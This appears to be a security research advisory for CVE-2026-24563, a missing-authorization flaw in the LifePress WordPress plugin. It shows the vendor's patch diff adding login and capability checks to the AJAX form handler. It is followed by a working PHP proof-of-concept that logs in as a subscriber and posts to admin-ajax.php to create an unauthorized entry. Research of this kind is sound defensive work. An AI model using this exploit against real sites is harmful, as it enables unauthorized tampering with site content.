CVE-2026-24563: LifePress <= 2.2.1 – Missing Authorization (lifepress)

--- a/lifepress/includes/class-ajax.php
+++ b/lifepress/includes/class-ajax.php
@@ -294,15 +294,48 @@
 			$HELP = new LIFEPRESS_Helper();
 			$post = $HELP->recursive_sanitize_array_fields($_POST);

-			$item_type = $post['item_type'];
-			$tag_data = array();
+			$item_type = isset($post['item_type']) ? trim($post['item_type']) : '';
+			$tag_data = [];
+			$entry_id = isset($post['entry_id']) ? absint($post['entry_id']) : 0;
+			$tag_id   = isset($post['tag_id'])   ? absint($post['tag_id'])   : 0;
+
+			// verify item type pass
+			if (!in_array($item_type, ['entry', 'tag'], true)) {
+			    wp_send_json_error([
+			        'error_msg'   => 'Invalid item_type',
+			        'notice_msg'  => 'Invalid request',
+			        'notice_type' => 'bad'
+			    ]);
+			}

 			// ENTRY
 			if( $item_type == 'entry'){

+				// Check if user is logged in
+		        if ( ! is_user_logged_in() ) {
+		            wp_send_json(array(
+		                'status'=>'bad',
+		                'error_msg'=>__('You must be logged in to perform this action', 'lp'),
+		                'notice_msg'=>__('Unauthorized access'),
+		                'notice_type'=>'bad',
+		            ));
+		            wp_die();
+		        }
+
+
 				// EDIT
-				if(isset($post['entry_id']) && !empty($post['entry_id'])){
-					$entry_id = (int)$post['entry_id'];
+				if( $entry_id > 0 ){
+
+					// Check permission to edit this specific post
+		            if ( ! current_user_can('edit_post', $entry_id) ) {
+		                wp_send_json(array(
+		                    'status'=>'bad',
+		                    'error_msg'=>__('You do not have permission to edit this entry', 'lp'),
+		                    'notice_msg'=>__('Permission denied'),
+		                    'notice_type'=>'bad',
+		                ));
+		                wp_die();
+		            }

 					$date = explode('-', $post['date'] );

@@ -320,6 +353,16 @@
 					);
 					$result = wp_update_post($entry);

+					if (is_wp_error($result)) {
+					    error_log("LifePress form_submit wp_update_post failed: " . $result->get_error_message());
+					    wp_send_json([
+					        'status'     => 'bad',
+					        'notice_msg' => __('Could not update entry. Please try again.', 'lp'),
+					        'notice_type'=> 'bad'
+					    ]);
+					    wp_die();
+					}
+
 					if($result){
 						$EN = new LIFEPRESS_Entry( $entry_id);
 						$NE_data = array();
@@ -356,6 +399,18 @@

 				// NEW
 				}else{
+					// Check permission to create/publish new posts of this type
+		            $post_type_object = get_post_type_object('lp_entry');
+		            if ( ! current_user_can($post_type_object->cap->publish_posts) ) {
+		                wp_send_json(array(
+		                    'status'=>'bad',
+		                    'error_msg'=>__('You do not have permission to create new entries', 'lp'),
+		                    'notice_msg'=>__('Permission denied'),
+		                    'notice_type'=>'bad',
+		                ));
+		                wp_die();
+		            }
+
 					$ENT = new LIFEPRESS_Entries();

 					$date = explode('-', $post['date'] );
@@ -364,12 +419,13 @@
 					$D->setTimezone( LIFEPRESS()->time->timezone );
 					$D->setDate($date[0], $date[1], $date[2]);
 					$D->setTime(0,0,1);
+					$post_status = current_user_can('publish_posts') ? 'publish' : 'draft';

 					$entry_id = $ENT->create_new(array(
 						'post_type'=>'lp_entry',
 						'post_title'=> (isset($post['title'])?
 							$post['title']: __('Entry on').' '.  $post['date'] ),
-						'post_status'=>'publish',
+						'post_status'=> $post_status,
 						'post_content'=> (isset($post['details'])?  $post['details'] :''),
 						'date'=> $D->format('Y-m-d H:i:s'),
 					));
@@ -384,7 +440,9 @@

 						// save image
 						if( !empty( $_FILES ) && 'POST' == $_SERVER['REQUEST_METHOD']  ){
-							$this->save_featured_image($entry_id, 'lp_entry_img');
+							if (current_user_can('upload_files')) {
+								$this->save_featured_image($entry_id, 'lp_entry_img');
+							}
 						}

 						// creating a new tag
@@ -421,7 +479,20 @@
 					}
 				}

-			}else{ // tag type
+			}
+
+			// tag type
+			if ($item_type === 'tag' && $tag_id > 0) {
+				// Check if user is logged in
+		        if ( ! is_user_logged_in() ) {
+		            wp_send_json(array(
+		                'status'=>'bad',
+		                'error_msg'=>__('You must be logged in to perform this action', 'lp'),
+		                'notice_msg'=>__('Unauthorized access'),
+		                'notice_type'=>'bad',
+		            ));
+		            wp_die();
+		        }

 				if( !isset($post['tag_id'])){
 					wp_send_json(array(
@@ -432,8 +503,7 @@
 				}

 				$ETD = new LIFEPRESS_Type_Data();
-				$term_id = $post['tag_id'];
-				$ETD->set_id($term_id);
+				$ETD->set_id($tag_id);

 				$exists  = $ETD->tag_exists();

@@ -442,10 +512,19 @@
 						'status'=>'bad', 'error_msg'=>__('Tag does not exists','lp'),
 						'notice_msg'=>__('Tag does not exists'),
 						'notice_type'=>'bad',
-						));wp_die();
+					));wp_die();

 				// exists
 				}else{
+					if ( ! current_user_can('manage_categories') ) {
+		                wp_send_json(array(
+		                    'status'=>'bad',
+		                    'error_msg'=>__('You do not have permission to edit tags', 'lp'),
+		                    'notice_msg'=>__('Permission denied'),
+		                    'notice_type'=>'bad',
+		                ));
+		                wp_die();
+		            }

 					$C = isset($post['c'])? $post['c']:'808080';
 					$ETD->set_new_meta('c',$C);
@@ -458,7 +537,8 @@
 						'error_msg'=> '',
 						'notice_msg'=>__('Successfully updated tag'),
 							'notice_type'=>'good',
-						));wp_die();
+					));
+					wp_die();
 				}

 			}
--- a/lifepress/lifepress.php
+++ b/lifepress/lifepress.php
@@ -4,9 +4,9 @@
  * Plugin URI: http://www.ashanjay.com/lifepress
  * Description: You are the creator of events in your life. Record and track progress in your life.
  * Author: Ashan Jay
- * Version: 2.2.1
+ * Version: 2.2.2
  * Requires at least: 6.0
- * Tested up to: 6.9
+ * Tested up to: 6.9.1
  * Author URI: http://www.ashanjay.com/
  *
  * Text Domain: lp
@@ -19,7 +19,7 @@

 class LIFEPRESS{

-	public $version='2.2.1
+	public $version='2.2.2
 	';
 	public $name = 'LifePress';
 	public $date_format = 'Y-m-d';
--- a/lifepress/templates/class-template_parts.php
+++ b/lifepress/templates/class-template_parts.php
@@ -344,7 +344,7 @@
 							<span class='tag_color_add_new lp_btn blue'><em></em><?php _e('New Color');?></span>
 						</span>
 					</div>
-					<p class="data_row padt10"><span class='lp_btn form_submit orange'><?php _e('Submit');?></span></p>
+					<p class="data_row padt10"><span class='lp_btn bold form_submit lp_trans blue'><?php _e('Submit');?></span></p>
 				</form>
 				<?php
 			break;
@@ -431,16 +431,16 @@
 						<input type='text' id='lp_set_date' name='date' value='{{formatDATETIME fields.time <?php echo esc_html( current_time('timestamp') );?> }}' placeholder='<?php _e('Add Date','lp');?>'/>
 					</p>

-					<p class='data_row no_icon'><input type="text" placeholder='<?php _e('Add title','lp')?>' name='title' value='{{fields.title}}'/></p>
+					<p class='data_row no_icon'><input class='lp_entry_title' tab-index='3' type="text" placeholder='<?php _e('Add title','lp')?>' name='title' value='{{fields.title}}'/></p>

 					<div class='data_row details marb10 lp_toggabalables'>
 						<span class='lp_form_icons lp_clickable lp_toggles' data-t='lp_editor_box'>
 							<i class="fas fa-align-left"></i>
 						</span>
-						<span class='lp_form_field_label lp_toggles lp_clickable lp_hidable' data-t='lp_editor_box'><?php _e('Add description','lp');?></span>
+						<button class='lp_form_field_label lp_btn lp_nobtn lp_toggles lp_clickable lp_hidable' data-t='lp_editor_box'><i class='fa fa-plus' style="margin:0 5px 0 0;"></i> <?php _e('Add description','lp');?></button>

 						<div class='lp_editor_box ' style='display:{{#if fields.details}}block{{else}}none{{/if}}'>
-							<textarea class='lp_form_details' name='details'>{{fields.details}}</textarea>
+							<textarea tab-index='4' class='lp_form_details' name='details'>{{fields.details}}</textarea>
 						</div>
 					</div>

@@ -448,7 +448,7 @@
 					<div class='data_row marb10'>
 						<i class="fas fa-image"></i>
 						<p class='w100'>
-							<span class='lp_btn blue lp_select_image'><?php _e('Select Image','lp');?></span>
+							<button class='lp_btn blue lp_select_image'><?php _e('Select Image','lp');?></button>
 							<input class='lp_select_image_input' style='opacity:0;display:none' type="file" name="lp_entry_img"/>
 							<?php echo wp_nonce_field( 'my_image_upload', 'my_image_upload_nonce' );?>
 						</p>
@@ -473,8 +473,8 @@


 					<p class="data_row no_icon padt30" style="justify-content: flex-start;">
-						<span class='lp_btn orange form_submit'><?php _e('Submit','lp');?></span>
-						<span class='lp_btn grey form_submit save_draft'><?php _e('Save Draft','lp');?></span>
+						<button class='lp_btn bold blue lp_trans form_submit'><?php _e('Submit','lp');?></button>
+						<button class='lp_btn bold grey form_submit save_draft'><?php _e('Save Draft','lp');?></button>
 					</p>
 				</form>
 				<?php

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24563 - LifePress <= 2.2.1 - Missing Authorization

<?php

$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to WordPress to obtain cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Exploit missing authorization to create a new LifePress entry
$post_data = [
    'action' => 'lifepress_form_submit',
    'item_type' => 'entry',
    'title' => 'Unauthorized Entry',
    'date' => date('Y-m-d'),
    'details' => 'Created via CVE-2026-24563 exploit.'
];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);

// Check for success indicators in the JSON response
if (strpos($response, 'status":"good') !== false || strpos($response, 'entry_id') !== false) {
    echo "[+] Successfully created unauthorized entry.n";
    echo "Response: $responsen";
} else {
    echo "[-] Exploit may have failed or target is patched.n";
    echo "Response: $responsen";
}

// Step 3: Optionally, demonstrate tag editing (requires an existing tag_id)
// $post_data = [
//     'action' => 'lifepress_form_submit',
//     'item_type' => 'tag',
//     'tag_id' => 1, // Replace with a valid tag ID
//     'c' => 'FF0000' // Change color to red
// ];
// curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
// $response = curl_exec($ch);
// echo "Tag edit response: $responsen";

curl_close($ch);
?>